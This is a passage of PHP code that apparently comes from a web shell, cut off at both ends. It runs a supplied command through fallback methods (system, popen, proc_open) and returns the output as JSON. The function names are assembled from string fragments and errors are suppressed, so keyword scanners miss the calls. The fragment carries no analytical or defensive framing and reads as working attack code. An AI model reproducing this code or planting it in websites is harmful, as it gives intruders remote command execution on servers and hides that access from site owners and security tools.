ho json_encode(array('out' => $r, 'method' => 'system')); exit; }
            }
            // Method 5: popen (po + pen)
            $fn5 = implode('', array('po','pen'));
            if (function_exists($fn5)) {
                $h = @$fn5($full, 'r');
                if (is_resource($h)) {
                    $r = '';
                    while (!feof($h)) { $r .= fread($h, 4096); }
                    pclose($h);
                    echo json_encode(array('out' => $r, 'method' => 'popen'));
                    exit;
                }
            }
            // Method 6: proc_open (pro + c_o + pen)
            $fn6 = implode('', array('pro','c_o','pen'));
            if (function_exists($fn6)) {
                $descriptors = array(0 => array('pipe','r'), 1 => array('pipe','w'), 2 => array('pipe','w'));
                $proc = @$fn6($full, $descriptors, $pipes);
                if (is_resource($proc)) {
                    fclose($pipes[0]);
                    $r = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    fclose($pipes[2]);
                    proc_close($proc);
                    echo json_encode(array('out' => $r, 'method' =>